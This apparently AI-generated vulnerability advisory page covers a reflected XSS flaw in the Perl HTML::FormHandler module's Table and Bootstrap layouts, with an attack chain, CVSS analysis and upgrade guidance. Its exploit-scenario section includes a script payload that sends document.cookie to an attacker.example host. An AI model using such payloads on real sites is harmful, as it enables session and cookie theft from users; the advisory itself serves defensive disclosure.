Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker crafts form submission with XSS payload as field value
-
DeliveryServer validates and rejects input
-
ExploitUnpatched Table/Bootstrap wrapper renders error with raw payload
-
ExecutionVictim browser receives HTML containing unencoded script
-
PersistBrowser executes injected JavaScript
-
ImpactSession data or actions exfiltrated
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires all of the following: (1) the target application uses HTML::FormHandler with the Table layout (HTML::FormHandler::Widget::Form::Table), the Bootstrap 2 wrapper (HTML::FormHandler::Widget::Wrapper::Bootstrap), or the Bootstrap 3 wrapper (HTML::FormHandler::Widget::Wrapper::Bootstrap3) - applications using other layouts fixed in 0.410000 are not affected; (2) the form's validation logic reflects attacker-controlled input (e.g., rejected field values) in the error messages rendered to the page, which is common but depends on field configuration; (3) the victim must view the rendered error page (CVSS UI:R), so the attacker must craft a scenario - such as a malicious link that pre-populates and submits the form - to trigger error display to the target user. Applications that strip or whitelist error message content before passing it to FormHandler, or that do not echo rejected input in errors, are not exploitable. |
| Impact | The CVSS 6.1 vector (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) is consistent with standard reflected XSS scoring. The scope-changed flag (S:C) captures the browser-context boundary crossing. EPSS at 0.19% (8th percentile) reflects low exploitation probability; no CISA KEV entry exists and no public exploit code is identified at time of analysis. Real-world risk is bounded by two conditions: the target application must use one of the three affected widget modules, and the rendered error messages must include attacker-controlled input such as rejected field values - common but not universal behavior. The UI:R metric means the attacker must induce the victim to view the error-rendered page, which limits mass exploitation. This is a residual gap in an incomplete prior fix rather than a novel vulnerability class; developers who upgraded to 0.410000 for CVE-2026-19872 but have not yet reached 0.410002 remain exposed in these three specific layouts. |
| Exploit ScenarioDerived | An attacker submits a web form rendered by HTML::FormHandler using the Bootstrap 3 wrapper, embedding a JavaScript payload such as <script>fetch('https://attacker.example/?c='+document.cookie)</script> as a field value. Validation rejects the input, and the error message containing the raw payload is inserted into the Bootstrap wrapper HTML without encoding. When the page re-renders the error to the victim's browser - whether the attacker themselves (self-XSS, limited impact) or another user viewing a shared error state - the injected script executes and can exfiltrate session cookies or perform actions in the victim's authenticated session. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 10, 2026
Reflected XSS in HTML::FormHandler before 0.410002 allows unauthenticated network attackers to inject JavaScript into rendered Perl web application pages by submitting form input containing script content. The Table form layout and Bootstrap 2 and 3 wrappers interpolated error strings - including rejected field values - directly into HTML without HTML-entity encoding, an incomplete fix relative to CVE-2026-19872 (which patched equivalent paths in other layouts in version 0.410000). No public exploit is identified and EPSS is 0.19%; risk is limited to applications using the three affected widget modules.
RemediationAI
Upgrade HTML::FormHandler to version 0.410002 or later via CPAN (cpan HTML::FormHandler or cpanm HTML::FormHandler). The fix is confirmed by the CPAN changelog and the commit at https://github.com/gshank/html-formhandler/commit/2ea9e138dbfe231e317c13936abe6583217c807f.patch, which adds HTML::Entities::encode_entities() calls in all three affected widget modules. If an immediate upgrade is not possible, a compensating control is to switch affected forms to layouts that were already fixed in 0.410000 - for example, replacing Table layout with Simple or Grid layouts - though this requires template and configuration changes and may alter rendered appearance. Alternatively, applications can sanitize or restrict attacker-influenced content before it reaches form error messages at the application layer, though this is fragile and not recommended as a primary mitigation.
Affected ProductsAI
HTML::FormHandler versions before 0.410002 for Perl are affected, specifically when applications use the Table form layout (HTML::FormHandler::Widget::Form::Table), the Bootstrap 2 wrapper (HTML::FormHandler::Widget::Wrapper::Bootstrap), or the Bootstrap 3 wrapper (HTML::FormHandler::Widget::Wrapper::Bootstrap3). Applications using only the layouts patched in version 0.410000 for CVE-2026-19872 are not affected by this specific CVE. The fixed release is 0.410002, with changelog at https://metacpan.org/release/ABRAXXA/HTML-FormHandler-0.410002/changes. No CPE string was provided in the input data.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
HTML::FormHandler is a Perl CPAN module (distribution ABRAXXA/HTML-FormHandler) providing form rendering and validation, commonly used with the Catalyst web framework. The vulnerability resides in three widget modules: HTML::FormHandler::Widget::Form::Table, HTML::FormHandler::Widget::Wrapper::Bootstrap, and HTML::FormHandler::Widget::Wrapper::Bootstrap3. Each module interpolated output from $result->all_form_errors or $result->all_errors directly into surrounding HTML markup. CWE-79 (Improper Neutralization of Input During Web Page Generation) describes the root cause: the absence of HTML::Entities::encode_entities() before string insertion. The commit diff (2ea9e138) confirms the fix adds encode_entities via a Perl map transform over each error string in all three files, exactly mirroring the approach taken for other layouts in 0.410000.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Network-accessible form submission requires no authentication; victim must view the rendered error page (UI:R); scope change (S:C) reflects XSS executing in browser context with limited C/I impact.
Primary rating from Vendor (9b29abf9-4ab0-4765-b253-1875cd9b441e).
CVSS VectorVendor: 9b29abf9-4ab0-4765-b253-1875cd9b441e
Lifecycle Timeline
2DescriptionCVE.org
HTML::FormHandler versions before 0.410002 for Perl render some error messages into HTML without escaping.
The Table form layout and the Bootstrap 2 and 3 wrappers splice each error string straight into the surrounding markup. Version 0.410000, the fix for CVE-2026-19872, escaped the equivalent values in the other layouts and wrappers, and 0.410002 extended that to these three.
Error messages that contain attacker-influenced content such as rejected field values could embed JavaScript in rendered pages.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| openSUSE Tumbleweed | Fixed |
EUVD-2026-74169
GHSA-m5h3-w9r6-p935
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB